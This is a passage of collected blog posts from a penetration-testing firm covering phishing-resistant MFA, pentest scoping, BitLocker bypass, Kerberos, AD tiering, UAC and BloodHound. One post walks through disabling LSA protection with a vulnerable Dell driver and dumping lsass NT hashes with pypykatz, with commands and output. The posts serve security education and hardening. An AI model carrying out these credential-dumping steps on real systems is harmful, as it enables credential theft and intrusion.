why the most common technical control (MFA) does not work the way most people think, and which measures actually stop attackers even when a user makes a mistake. Modern Phishing Is Not What Awareness Training Prepares You For Classic phishing awareness teaches people to look for: Suspicious sender addresses Urgent language and pressure tactics Links to unusual domains Requests to enter credentials That’s useful. A CEO fraud email from a Gmail address is easy to spot once you know to look. But attackers adapt, and the sophisticated attacks being used against organizations today look nothing like the training examples. The Proxy Attack: Stealing Sessions, Not Passwords The most effective phishing technique today doesn’t steal your password. It steals your authenticated session. Here’s how it works: the attacker sets up a proxy website that sits between the victim and the legitimate login page. The victim genuinely communicates with the real service (Microsoft 365, a corporate VPN, a cloud platform) but every request passes through the attacker’s proxy. After the victim completes authentication, the proxy captures the session token. The attacker now has a valid session. No credential theft, no brute force. The session token works just like being logged in. This completely bypasses passwords and most forms of MFA. The victim entered their correct password and their correct one-time code. The real server accepted everything. The attacker just read the traffic. Device Code Phishing: A Legitimate URL Is No Longer Safe Device code phishing abuses a legitimate authentication flow originally designed for devices that can’t easily handle browser logins (smart TVs, CLI tools, and similar scenarios). The victim receives a message: “Please go to microsoft.com/devicelogin and enter this code.” The URL is real. The site is genuinely Microsoft’s. The user enters the code and completes a normal login. What they don’t realize is that the attacker initiated the device authentication request and is waiting on the other side to receive the session. Because the domain is legitimate and the interaction looks normal, this attack slips past both user awareness and many automated email filters. Conditional Access policies that rely on the login being suspicious also fail here: the login itself is legitimate, just initiated by an attacker. Social Engineering at Scale: The Long Con Some attacks invest weeks in building trust before attempting anything. Pig butchering scams (originally targeting personal finance) work by establishing genuine-seeming relationships through social media, often using cloned accounts of real people with legitimate-looking follower counts and post histories. The attacker monitors who follows a target account and creates a near-identical profile. After building rapport over days or weeks, the payload arrives: a link, a login request, a code to enter somewhere. By then, the victim has no reason to be suspicious. This level of sophistication renders awareness training nearly irrelevant. The user is doing everything right: they’re communicating with someone they believe they know, on a platform they trust. The MFA Myth You Need to Stop Repeating “Enable MFA to protect against phishing.” This statement is repeated constantly, including by people who should know better. It is not accurate for most MFA implementations. MFA (two-factor authentication, TOTP codes, SMS codes, push notifications) protects against credential stuffing: an attacker who obtained your password through a data breach or guessing, and is trying to log in without being present. It does not protect against the proxy attack described above. In that scenario, the victim provides their password and their MFA code to the legitimate service, through the attacker’s proxy. Both factors are provided correctly. The session token the server issues is the thing that gets stolen, and that token is already authenticated. What Actually Stops Phishing: Phishing-Resistant MFA There is a category of authentication methods that are genuinely resistant to this attack: FIDO2 hardware tokens and passkeys. The mechanism that makes them resistant: these methods cryptographically bind the authentication to the exact origin domain. The FIDO2 token or passkey will only respond to authentication requests from the legitimate domain. It does not matter that the victim can’t tell the difference between login.microsoft.com and login.micros0ft-secure.com. The hardware can, and it refuses. The proxy attack fails because the attacker’s proxy site is not the legitimate domain, and the authenticator will not complete the challenge. If you want to tell your users that enabling MFA protects them against phishing: make sure it’s FIDO2 or passkeys. SMS codes, authenticator app TOTP, and push notifications don’t deliver that protection. Technical Controls That Work When Users Don’t Since we’ve established that user decisions can’t be the last line of defense, here are the technical measures that stop attacks even after credentials or session tokens are compromised. Conditional Access: Require Managed Devices Microsoft Entra ID (formerly Azure AD) includes Conditional Access, a policy engine that controls who can log in, from where, and under what conditions. An EntraID Audit will surface whether your Conditional Access policies are actually configured to provide this protection, or just appear to. The most effective configuration for stopping credential-based attacks: restrict login to managed (company-registered) devices only. Here’s why this is powerful: even if an attacker has stolen valid credentials, a correct MFA code, and a valid session token, they are logging in from their own device. That device is not registered in your tenant as a trusted device. Conditional Access blocks the login. To make this work: Configure Conditional Access to require a compliant or Entra-joined device for all authentication. Restrict new device registration to internal network access only. The second step is critical. It means an attacker cannot simply register their own device remotely. They’d need to already be inside the internal network, and if that’s the case, you have bigger problems than Conditional Access can solve. Additional Conditional Access policies worth configuring: Geographic restrictions (block logins from countries you don’t operate in) Risk-based sign-in policies (flag logins with unusual patterns) Session frequency requirements (force re-authentication after a defined period) Outlook’s Built-In Report Button If you use Microsoft 365, you already have a phishing reporting tool deployed. Most organizations just haven’t configured it to be useful. The “Report” button in Outlook defaults to sending suspicious emails to Microsoft for analysis. That helps Microsoft improve their filters. It doesn’t help your security team. What most admins don’t realize: you can configure the destination. Set the reported messages to forward to an internal security mailbox, and suddenly your Blue Team has real-time visibility into what’s hitting inboxes. Actual attack emails, user-reported, arriving in a central queue. A simple configuration change. The impact, when implemented well, can be dramatic: organizations that have added a clearly labeled phishing report button with proper internal routing have seen phishing report rates increase by an order of magnitude. Reporting friction is the reason most suspicious emails go unreported. Reduce the friction, and you get the data. Putting It Together: A Layered Defense No single measure here is a silver bullet. The value is in combining them: Layer What it does What it doesn’t do Awareness training Reduces susceptibility to obvious attacks Fails against sophisticated, targeted attacks Standard MFA Blocks credential stuffing Does not stop proxy phishing or device code phishing Phishing-resistant MFA (FIDO2/Passkeys) Stops proxy phishing Requires hardware investment and enrollment Conditional Access (managed devices) Blocks stolen credentials from unmanaged devices Requires device management infrastructure Configured Report button Gives Blue Team visibility into live campaigns Requires user participation The goal is that each layer compensates for the failure modes of the others. If a user clicks a link and enters their credentials on a proxy site, Conditional Access should prevent login from the attacker’s unmanaged device. If a phishing campaign is circulating, the Report button should get it into your security team’s queue before the entire organization has seen it. Awareness training remains the right starting point. Your users noticing something suspicious and not clicking is always the best outcome. But building security policy on the assumption that they’ll always make the right choice is not a strategy. It’s a wish. Quick-Start Checklist If you’re not sure where to begin, these are the highest-value actions: Audit your MFA methods: are any of them phishing-resistant (FIDO2/Passkeys)? Review your Conditional Access policies: is device compliance enforced for M365 access? Configure the Outlook Report button to forward to an internal security mailbox Add geographic and risk-based Conditional Access rules if not already in place Review device registration policies: can external devices be registered without network access? Each of these can be implemented without new tooling if you’re already on Microsoft 365. The infrastructure is there. It just needs to be turned on and configured properly. A Microsoft 365 Audit reviews exactly these settings, among others. Want to know how your organization holds up against a real phishing campaign? Get in touch. --- ## The Penetration Testing Buyer's Guide: Scope Right, Spend Smart URL: https://www.vidrasec.com/blog/penetration-testing-buyers-guide/ Description: Planning to buy a penetration test? Learn how to scope correctly, choose the right methodology, and avoid the most common and expensive mistakes. You’ve decided you need a penetration test. Good call. But before you sign a proposal, there’s a lot that can go wrong: wrong scope, wrong methodology, wrong expectations. The result is a report that collects dust and a budget that got wasted. This guide is written for the people buying pentests, not the people running them. It covers what a pentest actually is, when to do one, what to expect, and how to avoid the most common and expensive mistakes. What a Pentest Actually Is (and What It Isn’t) A penetration test is the manual process of finding vulnerabilities and misconfigurations in IT systems, carried out by an independent human tester. The output is a report that documents every finding, explains why it’s a problem, and tells you how to fix it. Two things are non-negotiable: It must be done by a human. If nobody is actively thinking about how to chain vulnerabilities together, you’re not getting a pentest. You’re getting a vulnerability scan with a fancier invoice. The tester must be independent. Someone who helped build the system cannot objectively test it. They already know where they looked and what they skipped. There’s a newer trend of vendors selling “AI penetration tests.” An automated tool running pre-defined checks is a vulnerability scanner. A skilled tester using AI tools to assist their work is a pentest. The difference matters enormously. A technical audit is a separate but related concept. Where a pentest simulates an attacker, an audit reviews configuration against a baseline: how many admin accounts exist, is patch management documented, are logs being collected? For standard products and platforms, an audit often delivers more value per euro than a pentest. There Is Never a Perfect Time. Stop Waiting. The most common reason organizations delay their first pentest: “We’re in the middle of implementing X. Once that’s done, it’ll make more sense.” After X, there will be Y and Z. IT systems are not static objects that reach a finished state. They grow, change, and accumulate complexity, and complexity is where vulnerabilities live. Attackers don’t wait for your implementation roadmap to complete. Every month you delay is a month during which the weaknesses in your current system are exploitable. The right answer is regular testing, not a single test timed to a milestone. The goal isn’t to certify a snapshot of your infrastructure. It’s to continuously reduce the attack surface as the system evolves. Blackbox, Greybox, Whitebox: Which One Are You Actually Buying? Blackbox testing gives the tester no credentials and no knowledge of the internal systems. The tester works like an unauthenticated external attacker. This is the natural starting point for an external IT infrastructure penetration test. The problem: an external attacker with no credentials rarely finds anything that a vulnerability scanner wouldn’t also find. If your external systems are reasonably patched and configured, a blackbox test often comes back with low-to-medium findings, not because your systems are secure, but because the most dangerous vulnerabilities only reveal themselves once an attacker is already inside. Greybox testing (where the tester receives valid user credentials or partial knowledge) is almost always a better use of budget. It simulates the realistic scenario: a phishing attack succeeded, or a disgruntled employee has access. This is where the interesting findings live, and it’s the default approach for an internal IT infrastructure penetration test. Whitebox testing gives the tester full access to documentation, source code, and configuration. It’s the most thorough option and the right choice for critical systems or software development pipelines. My honest opinion: external blackbox tests, done repeatedly year after year without changing the methodology, are often the most expensive way to learn the least. Before you renew that contract, ask yourself what you actually learned last time. Scope and Pricing: Why This Isn’t a Sales Job Pentests are not cheap. That’s fine: when the quality and scope are right, they’re worth every cent. The issue is that scope and pricing decisions are often made by salespeople who don’t do the testing. A salesperson can quote you hours and a day rate. They cannot tell you whether your environment needs 20 hours or 80 hours, whether an external test or an internal assessment will find more value, or which systems carry the most risk. That decision requires someone who has done this before, ideally hundreds of times. An experienced pentester asking the right questions before writing a proposal is a sign of a serious provider. A fast turnaround on a standardized quote without a scoping conversation is a red flag. The right scoping conversation starts with your motivation: Are you doing this because compliance requires it? Did you recently migrate something critical to the cloud? Are you worried about insider threats? Is this your first test, or a follow-up to remediation? The answer to these questions should directly shape what gets tested, how, and for how long. Managing Expectations: What a “Clean” Report Actually Means There is a common fear among people commissioning pentests: what if the tester finds nothing? In my experience, there has never been a pentest that found zero vulnerabilities. But there’s also a difference between a test that uncovers a critical chain of vulnerabilities leading to full domain compromise and one that returns five medium-severity findings. Both are valuable. Here’s why: External perimeter tests often don’t find critical vulnerabilities. And that’s actually the goal. Your external attack surface should be hardened. Finding that it is gives you confidence and data. If you’re expecting a tester to compromise your servers from five IP addresses with no credentials, you’ve either watched too many hacking films or your infrastructure has serious problems. Internal assessments are a different story. In my experience, critical vulnerabilities are common once you’re inside the network. Misconfigurations in Active Directory, excessive privilege delegation, outdated internal services: these show up regularly. Even low and medium findings deserve attention. Most real-world attacks don’t use a single critical vulnerability. They chain several smaller weaknesses together. A medium finding that seems harmless in isolation might be the link that makes a chain possible. Fixing it removes a stepping stone. The goal of a pentest is not to embarrass your team. It’s to find what they couldn’t find themselves, not because they’re incompetent, but because anyone building a system doesn’t have the headspace to test every assumption they’ve made along the way. Starting Your First Pentest: Smaller Is Smarter If this is your first pentest, do not let a provider sell you a massive engagement. Here’s what typically happens on a first assessment: it doesn’t take long to find critical vulnerabilities. The internal IT team then spends months remediating them. A huge, weeks-long test during that phase produces a report that’s impossible to act on: you’re overwhelmed before you’ve fixed the basics. A better approach: Start focused. Test the most exposed or highest-value systems first. A scoped initial assessment gives you a clear picture of where you stand without overwhelming your team. Fix what you find. Give your team time to remediate before testing again. Go deeper next time. Once the obvious weaknesses are gone, longer tests are worth more because the tester has to work harder to find anything. Security is a process, not a project. A good pentest provider sizes their engagements to match where you actually are in that process, not to maximize their invoice. Questions to Ask Before You Sign Use these to evaluate a provider or scope a proposal: Who will actually be running the test, and what is their background? Does the scoping call involve a tester, or only a sales contact? Are you proposing blackbox testing, and if so, why is that the right choice for our environment? What deliverables are included, and can I see a sample report? (VidraSec publishes example reports so you know exactly what you’re getting.) What is your process for handling critical findings during the engagement? Do you recommend follow-up testing after remediation, and how is that structured? A provider who pushes back thoughtfully on these questions, rather than just answering them, is usually the right choice. Summary Question Short Answer Pentest vs. vulnerability scan Manual, human-driven, independent tester When to start Now. Not after X is finished. Blackbox vs. greybox Greybox nearly always delivers more value Who scopes the project A tester, not a salesperson First pentest size Start small, remediate, then go deeper “Clean” report Still valuable: confidence is a deliverable The market has plenty of providers who will happily sell you a compliance checkbox. The ones worth working with are the ones who tell you when a different approach would serve you better. Questions about scoping your next pentest? Get in touch. --- ## Bypassing BitLocker Without a Screwdriver: bitpixie and What You Can Do About It URL: https://www.vidrasec.com/blog/bitlocker-bitpixie/ Description: BitLocker can be bypassed without special hardware using bitpixie. How the attack works and how pre-boot auth, Secure Boot, and PCR validation protect you. BitLocker is always a topic in Windows client pentests. For full-disk encryption not to be easily bypassed, BitLocker must be configured securely. There is in fact a vulnerability that can be used to bypass BitLocker without special hardware, and in principle anyone can exploit it. This post covers the bitpixie attack, why BitLocker’s default mode is vulnerable, and what you can do about it. Table of Contents Table of Contents BitLocker in TPM-only mode: convenient but vulnerable The attack: bitpixie What you can do about it 1. Pre-boot authentication (BitLocker PIN) 2. Updates for Secure Boot signatures 3. Adjust PCR validation profiles in BitLocker Summary BitLocker in TPM-only mode: convenient but vulnerable By default, BitLocker runs in TPM-only mode. Decryption is transparent: no extra password is required; the TPM checks the environment and releases the key when everything looks “trusted.” That’s convenient for users. The catch: almost all attacks on BitLocker target exactly this configuration. Without an extra hurdle before boot, an attacker can, under certain conditions, obtain the key. Pre-boot authentication (an additional BitLocker PIN before Windows starts) prevents most of these attacks. A BitLocker PIN is unpopular, but without it you need a very deliberate configuration to achieve similar protection. The attack: bitpixie A relatively recent and particularly relevant attack is bitpixie: it works regardless of hardware. No special adapters or physical access to the device is required. In short: The attacker tricks the TPM into believing a trusted operating system is booting. The TPM releases the BitLocker key. The key can be read from memory. That allows bypassing BitLocker under TPM-only conditions without opening the case. A detailed blog post that explains and lets you reproduce the attack is here: BitLocker: Screwed without a screwdriver (Neodyme) (opens in a new tab) What you can do about it Three main measures significantly reduce the risk: 1. Pre-boot authentication (BitLocker PIN) Pre-boot authentication (an extra PIN before Windows starts) prevents the TPM from releasing the key without this second factor. That blocks most attacks that rely on “boot and grab the key”, including bitpixie in its typical form. Without pre-boot authentication you are never fully safe from such scenarios. With a PIN you make it much harder for attackers. 2. Updates for Secure Boot signatures Keep Secure Boot and its related signatures up to date. UEFI/BIOS and Windows updates often change the Secure Boot chain and the components that are measured. That makes it harder to mimic a “trusted” boot. 3. Adjust PCR validation profiles in BitLocker This is the most technically interesting lever: PCR validation profiles define which components are integrity-checked before the TPM releases the BitLocker key. More components checked generally means more hurdles for attacks. You can configure this via Group Policy: “Configure TPM platform validation profile for native UEFI firmware configurations” In particular PCR 4 (MBR) matters: including it in validation protects against bitpixie. The recommendation is to enable these PCRs: 0, 2, 4, 7, and 11 That brings the boot code (MBR) into the chain of trust, exactly what attacks like bitpixie exploit when that component isn’t checked. Summary Measure Benefit Pre-boot authentication (PIN) Prevents most attacks where the TPM key is released without user interaction. Secure Boot updates Current signatures and boot chain make it harder to fake a trusted boot. PCR validation (0, 2, 4, 7, 11) Extends integrity checks (including MBR/PCR 4) and specifically protects against bitpixie. Without pre-boot authentication you are never fully secure, but with a PIN, current Secure Boot updates, and adjusted PCR validation profiles you make it much harder for attackers. BitLocker configuration is one of many checks we run against your standard Windows client image as part of an Internal IT Infrastructure Penetration Test, along with things like credential extraction from lsass.exe, covered in Dump Hashes in Windows 11 24H2. Have you ever had the security of your standard Windows client (including BitLocker configuration) tested in a pentest? We’re happy to discuss. For questions on BitLocker, Windows clients, or pentests: contact VidraSec. If you’re not sure whether an internal pentest is the right scope for you, the Pentest Provider Checklist can help you evaluate options. --- ## Dump Hashes in Windows 11 24H2 URL: https://www.vidrasec.com/blog/dump-hashes-in-windows-11-24h2/ Description: In this blog post, I describe how I managed to extract password hashes from the lsass.exe process memory in Windows 11 24H2. In this blog post, I describe how I managed to read password hashes from the lsass.exe process memory in Windows 11 24H2. Since this version was still very new at the time of writing this post, some of the issues are due to a lack of tool support and should be resolved in the future. However, this post may also help in adapting the tools for later Windows versions. Table of Contents Bypassing LSA Protection Reading the Hashes Credential Guard Summary I was preparing a hacking demo. I wanted to show a few standard tasks you do in a pentest. One of these was reading the lsass.exe process memory, i.e., dumping password hashes. I must have done this a hundred times before. But this time, it just wouldn’t work. I spent several evenings isolating, debugging, and fixing the issues. This blog post describes my approach. The source of all the problems is Windows 11 24H2. At the time of writing, the version was still relatively new and not really supported by tools. Additionally, there are a few security measures that are enabled by default in Windows 11: LSA Protection (PPL Protection) Vulnerable Driver Blocklist (interestingly, this wasn’t an issue, which may also be due to the disabled Windows Defender) Credential Guard (in parentheses because it wasn’t active in my VM due to lack of hardware support) Overall, this means that we need to bypass LSA Protection. However, the Vulnerable Driver Blocklist should make this more complicated (in theory). Reading credentials out of lsass.exe after landing on a workstation or server is one of the standard moves in an Internal IT Infrastructure Penetration Test; it’s usually the step that turns “one wrong click” into lateral movement across the domain. Bypassing LSA Protection In simple terms, LSA Protection just sets a flag on the lsass.exe process that prevents access to the process memory, even with Local System rights. The classic bypass for this is to load a vulnerable kernel driver that allows such access. It needs to be vulnerable because that’s the only way I can execute my own code in its context. Since kernel drivers need to be signed, I can’t just write my own driver. There are many options here (see also https://www.loldrivers.io/ (opens in a new tab)), but the Vulnerable Driver Blocklist makes it more difficult for us. It blocks known vulnerable drivers. There are already some ready-made tools to perform this attack, like dellicious (opens in a new tab). This isn’t a typo; the tool is named this way because a vulnerable Dell driver is exploited. Now we have a problem. The tool doesn’t support Windows 11 24H2. Luckily, this is easy to fix. We just need to find the kernel offsets for our Windows version and adjust them in the code. This can be done with WinDBG. Open File > Attach to Kernel > Local, then load the symbols with the following commands: .symfix .reload Then display the EPROCESS structure: dt nt!_EPROCESS From the output, extract the values for UniqueProcessId, ActiveProcessLinks, and SignatureLevel: +0x1d0 UniqueProcessId : Ptr64 Void +0x1d8 ActiveProcessLinks : _LIST_ENTRY +0x5f8 SignatureLevel : UChar Now insert these into dellicious. I did this in this commit: https://github.com/VidraSec/dellicious/commit/56c82bb7a2901baafeb8056deb6f13d8ad24da91 (opens in a new tab) You can find the full repo here: https://github.com/VidraSec/dellicious/ (opens in a new tab) What’s still missing are the vulnerable Dell drivers. They can be found with some internet research. Important: You should verify the hashes beforehand. PS> .\dellicious.exe -p 856 -e 0 -d .\driver\ [+] User provided pid: 856 [+] User provided driver directory: .\driver\ [+] Windows version found: 26100 [+] Using offsets: UniqueProcessIdOffset = 0x1d0 ActiveProcessLinkOffset = 0x1d8 SignatureLevelOffset = 0x5f8 [+] Attempting driver install... [+] Driver installed! [+] Device handle has been obtained @ \\.\DBUtil_2_5 [+] Ntoskrnl base address: fffff805b9c00000 [+] PsInitialSystemProcess address: ffffc102b46a0040 [+] Target process address: ffffc102bbf61080 [+] Current SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer bits (plus 5 bytes): 40c00000000000 [+] Writing flags back as: 40c00000000000 [+] Done! [+] Removing device [!] Clean exit! o7 Great, now we have access to the lsass.exe process without PPL. This means we can, for example, use the Task Manager to create a dump. Reading the Hashes Now we have another problem. Neither Mimikatz nor pypykatz can parse the file. This is due to how the parsing works. The program searches for a specific byte sequence, the “signature.” From this memory location, the program finds the pointers to LogonSessionList and LogonSessionListCount. This tells the program where the logon data is located in the file. How do I know all this? Thanks to this excellent blog post: https://www.praetorian.com/blog/inside-mimikatz-part2/ (opens in a new tab) These values are all hardcoded and have changed in Windows 11 24H2. Additionally, the logic has changed slightly. To find the new values, one must disassemble lsasrv.dll (e.g., with Ghidra). Therefore, everything needs to be adjusted for Windows 11 24H2. Since I didn’t have deep enough knowledge on this topic, I needed help and opened an Issue (opens in a new tab) in the pypykatz repository. Thanks a lot to SkelSec (opens in a new tab) for quickly implementing the new logic! With the current pypykatz version, we can now extract the credentials from our dump file. pypykatz lsa minidump ./dump.DMP == LogonSession == authentication_id 278102 (43e56) session_id 1 username highpriv domainname WIN11 logon_server WIN11 logon_time 2025-02-27T11:44:50.975151+00:00 sid S-1-5-21-800810350-130866625-3627431900-1001 luid 278102 == MSV == Username: highpriv Domain: WIN11 LM: NA NT: 83ae0f1e4d3eebb222aee30e865b3336 SHA1: bd2f0e14880fa891001a05b5cff2fe5568bd3f7b DPAPI: bd2f0e14880fa891001a05b5cff2fe5568bd3f7b Credential Guard It wasn’t active in my case. However, if it had been active, I would have received an encrypted blob instead of the NT hashes. To bypass Credential Guard, one more step is required. I recommend this blog post for further reading: https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22 (opens in a new tab) Summary It would be easy to say that all these security features are useless because they can be bypassed. In my opinion, that’s too simplistic. Without these additional measures, it’s extremely easy to read hashes. I spent several hours and needed a lot of detailed knowledge. Therefore: Yes, all security features should be enabled. But no system is ever 100% secure. I can only make it as difficult as possible for attackers. If you want to know whether an attacker could pull this off against your own environment, and what else they could reach from there, that’s exactly what an Internal IT Infrastructure Penetration Test tests for. Techniques like this one also show up in a Cyber Attack Simulation, to test whether your team detects an attack like this. BitLocker is another default Windows client control worth checking; see Bypassing BitLocker Without a Screwdriver: bitpixie. Questions about Windows client security, credential attacks, or pentests? Contact VidraSec. Weighing whether to bring in outside help for this kind of testing? The Pentest Provider Checklist covers what to look for. --- ## Kerberos: How the Authentication Protocol Works URL: https://www.vidrasec.com/blog/kerberos/ Description: How does the Kerberos protocol actually work? The shortest possible explanation to understand this quite complex protocol. Kerberos works similarly to a passport: A passport authority issues the passport after the person has identified themselves. With this passport, they can then go to the border and prove their identity. Kerberos and the Passport Analogy Two key principles of this analogy also apply to Kerberos: Border officers can verify the passport independently without having to contact the passport authority. The passport only serves for identification; it is up to the border officers to decide whether someone is allowed to travel. The Kerberos Authentication Process Authentication at the Domain Controller The user authenticates with the Domain Controller. The Domain Controller issues a Ticket-Granting Ticket (TGT), which is signed with the secret KRBTGT hash, a key known only to the Domain Controller. Secure Exchange of the Session Key Additionally, the Domain Controller sends a Session Key, which is encrypted with the NT hash (or the encrypted password derivative) of the user. Only the user can decrypt this key and use it further. Important Security Aspects Kerberos authenticates the user through possession of a valid TGT, but does not explicitly verify the password on every request. The encrypted information is based on the user’s password, meaning an attacker could intercept the ticket and attempt to crack the plaintext password via offline brute-force attacks. This is particularly problematic if the Do not require Kerberos preauthentication flag is set. This allows any user in Active Directory to request a ticket for another user. However, to use the ticket, the user’s password is required. This attack is called AS-REP Roasting. Golden Ticket Attack A particularly critical attack is the Golden Ticket Attack: If an attacker obtains the KRBTGT hash, they can generate arbitrary TGTs and gain unrestricted access. Accessing Services with Kerberos After authentication, the user can access a service: The user requests a Service Ticket (TGS) from the Domain Controller for the desired service. The Domain Controller issues the Service Ticket, which is encrypted with the password hash of the service account. The user sends this ticket to the Service Server (the system they want to log into) to gain access. The Service Server verifies the ticket by decrypting it with its own password hash. If the ticket is valid, the service grants access. Security Recommendations Use strong service account passwords: Since service tickets are encrypted with the password hash of the service account, service accounts should have strong, long passwords. A weak password could be cracked with Kerberoasting attacks. Regularly rotate the KRBTGT hash: If the KRBTGT hash is compromised, administrators must rotate it twice to prevent Golden Ticket attacks. Enable Kerberos Pre-Authentication: This prevents attackers from performing AS-REP Roasting by collecting unencrypted ticket data. Kerberos is a powerful authentication protocol, but it must be securely configured and monitored to prevent attacks. You can also find this information in this YouTube video (sorry, only in German): Whether your Kerberos configuration holds up against attacks like these is best verified with an Internal IT Infrastructure Penetration Test. Questions and Contact If you have any more questions, contact VidraSec! --- ## Active Directory Tiering: Terminal Servers and Helpdesk URL: https://www.vidrasec.com/blog/active-directory-tiering/ Description: In this blog post, I will briefly address two often overlooked vulnerabilities and misconfigurations in the Active Directory Tiering model. In this blog post, I will briefly address two often overlooked vulnerabilities and misconfigurations in the Active Directory Tiering model. Specifically, I will focus on the mishandling of terminal servers and the helpdesk user group. Posts in this series Active Directory Tiering: Terminal Servers and Helpdesk Active Directory Password Policy Built-in Misconfigurations - Pre-Windows 2000 Compatible Access Proper Classification of Terminal Servers A common misconception in practice concerns the correct classification of terminal servers within the Active Directory Tiering model. Terminal servers, including Citrix systems, allow users to connect to a virtual desktop environment. These systems are often mistakenly classified as Tier 1, simply because they are servers. Why Terminal Servers Belong in Tier 2 From a tiering perspective, terminal servers are clients, as regular users log in there. A compromised user account poses a significant threat, as attackers can gain access through a successful phishing attack or another attack method. Once an attacker has access, they only need to exploit a Privilege Escalation; new vulnerabilities in this area are continuously discovered and published. If successful, the attacker can work as a local administrator on the terminal server and compromise logged-in accounts. If a Tier 1 administrator is among them, the entire security structure is at risk. Conclusion ➡ Terminal servers must be considered as clients and therefore belong in Tier 2! This misconfiguration regularly occurs during penetration tests and has played a decisive role in achieving Domain Admin status in the past. The tier model is an effective protective measure, but only if it is consistently and thoughtfully implemented. Reviewing whether the tier model is actually implemented as designed, not just documented, is a standard part of an Active Directory Audit. Securing Helpdesk Rights In many companies, alongside administrators, there is a Helpdesk responsible for various tasks, including resetting passwords or fixing client issues. Typically, helpdesk employees do not have direct access to servers, and therefore are assigned to Tier 2. Critical Misconfigurations in the Helpdesk Area There are two fundamental configuration mistakes that companies typically overlook in order to prevent uncontrolled privilege escalation: Can the Helpdesk reset a Domain Administrator’s password? Can the Helpdesk perform administrative tasks on a Domain Administrator’s client machine? If these questions cannot be clearly answered with No, there is a risk that an attacker may gain access to higher privileged accounts through the helpdesk and undermine the entire security model. An Often Overlooked Danger A less obvious but equally critical risk exists in the possibility that the helpdesk can reset the passwords of executives: Can the Helpdesk reset the CEO’s or CFO’s password? Although this point is often ignored, a CFO’s account is often more valuable to attackers than a Domain Administrator’s account. Financial transactions, business communication, and confidential documents are attractive targets for attacks. ➡ An attacker doesn’t need ransomware if they have direct access to the company’s bank account. Testing the Tier Model in Practice The Tier Model is a central security measure to make attacks within a corporate network more difficult. However, it can only fully protect if it is regularly reviewed and tested. Have you already tested your Active Directory? Only through targeted security reviews and penetration tests can the actual risk be assessed and potential vulnerabilities closed in time. An Active Directory Audit covers exactly the tier model and permission checks described above. Contact VidraSec now for more information! Not sure whether an audit or a full penetration test fits your situation? The Penetration Testing Buyer’s Guide walks through how to decide. --- ## UAC Bypass URL: https://www.vidrasec.com/blog/uac-bypass/ Description: User Account Control (UAC) explained: what it is, how attackers bypass it when misconfigured, and why setting the slider to Always Notify matters. What do we see in the photo? The settings for User Account Control (UAC). But what exactly is that and how can it be bypassed? UAC is an important security feature that was introduced with Windows Vista. Even if you have local admin rights, applications by default run with restricted rights. If admin rights are needed, the program must be manually started as an admin. This concept is called “Mandatory Integrity Control” or “Integrity Levels.” What are the IT security implications of this? If I accidentally run malware, it will only have limited rights. Still bad, but better. Therefore, this is an important security feature and should always be active. The problem in the screenshot: The default UAC setting in the screenshot does not require confirmation for changes to Windows settings. At first glance, this might seem fine, but it is not. If the slider is set to this level, UAC can be easily bypassed and a program can easily gain admin rights. Microsoft does not consider UAC a security boundary, so the vulnerability will not be fixed. Okay, what is the countermeasure? Fortunately, it’s simple: the slider should always be set to the highest level, “Always Notify.” However, this setting can also be bypassed. Therefore, UAC is not a true security measure, but in my opinion, it can still protect against some attackers. Much more important: Especially in the corporate environment, I should never work with local admin rights. Still, I always recommend setting the slider to the highest level via Group Policy because there are often 1-2 exceptions who have local admin rights. Below is a video of the exploit: UAC bypasses like this one are exactly the kind of vulnerability an Internal IT Infrastructure Penetration Test uncovers. Contact For further questions about Windows security, feel free to contact VidraSec. --- ## BloodHound Introduction for Admins URL: https://www.vidrasec.com/blog/bloodhound-intro/ Description: BloodHound is not just a tool for attackers. Admins benefit from it too. Learn how to set up BloodHound, run collectors, and visualize AD attack paths. BloodHound is a tool developed by penetration testers and red teamers to better identify and visualize attack paths in Active Directory. However, that doesn’t mean it can’t also be used effectively by admins or the blue team. What is BloodHound? BloodHound consists of two or three components: Collector (collects the information) Database and UI (visualizes the collected data) Collector The Collector is a small program that gathers information about Active Directory and writes it to a file. The program is independent of the database and UI and only collects data for further use. Database and UI The second component of BloodHound is a Neo4j database and a UI for it. Once we have collected the data with the Collector, it can be imported via the UI. This component is where we spend most of our time. It offers a way to query and visualize the data. Installation For the actual installation, I refer to the GitHub repo or the official documentation: https://github.com/SpecterOps/BloodHound/wiki (opens in a new tab) I always install BloodHound on a Linux VM, but that’s a matter of preference. The Collector can be downloaded either directly from the BloodHound UI or from here on GitHub: https://github.com/BloodHoundAD/SharpHound/releases (opens in a new tab) After a successful installation, the following URLs/ports should be accessible: http://localhost:8080/ui/login http://localhost:7474/ and port 7687 Usage Collector First, we run the Collector to gather the data. It is important that the version of the Collector matches the version of the UI, as the file format sometimes changes. The Collector must be run on a system that can access the domain controller. The easiest way is to run the Collector on a domain computer under a domain account. The account doesn’t need special permissions. Note: The Collector will most likely be detected as malware. Therefore, an exception must be added. Also, ensure that the program comes from a trusted source. In most cases, simply double-clicking the exe file is enough. Depending on the size of the Active Directory, it may take a little while to complete (from a few seconds to several hours). In the end, a few JSON files or a ZIP file should appear next to the exe file. If this doesn’t happen, sometimes simply running it again helps. Database and UI This component should now be running and accessible via a web interface. Using the import button, we can upload the collected data. Again, depending on the size of the Active Directory, this may take a little while. Then, we can already try out the built-in queries and, for example, visualize who the domain admins are. If this query returns many accounts, it is usually already a pentest finding. However, this can also be queried easily with native tools. The more interesting queries are a bit more complex. I will cover these in the next chapter. Queries In my opinion, the BloodHound UI is not so useful for admins. It becomes more interesting when you use the Neo4j console. In this, you make queries in the “Cypher” query language and get textual output. You can access it in your browser at http://localhost:7474/browser/. The default login credentials are: User: neo4j Pass: bloodhoundcommunityedition The query language is unfortunately not easy to understand. It takes a little time to get used to it. Here are some useful queries: Old Passwords The following query outputs accounts that haven’t changed their password in a long time. Regular users don’t have to change their password regularly. However, if other accounts appear here, it should be checked: MATCH (u:User) WHERE u.enabled = true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) RETURN u.name as Username, datetime({epochSeconds: toInteger(u.pwdlastset)}) as PwdLastSet order by u.pwdlastset The query specifically checks if there are active users whose password hasn’t been changed for 5 years (= 1825 days * 86400 seconds per day). The data will then be displayed in a table. Domain Admins with Old Passwords This query is restricted to domain admins. Since these accounts are particularly important, accounts with passwords older than 3 years are listed: MATCH p=(n:Group)<-[:MemberOf*1..]-(u) WHERE n.objectid =~ "(?i)S-1-5-.*-512" WITH u MATCH (u) WHERE (u.pwdlastset < (datetime().epochseconds - (1095 * 86400))) WITH u.name AS Username, datetime({epochSeconds: 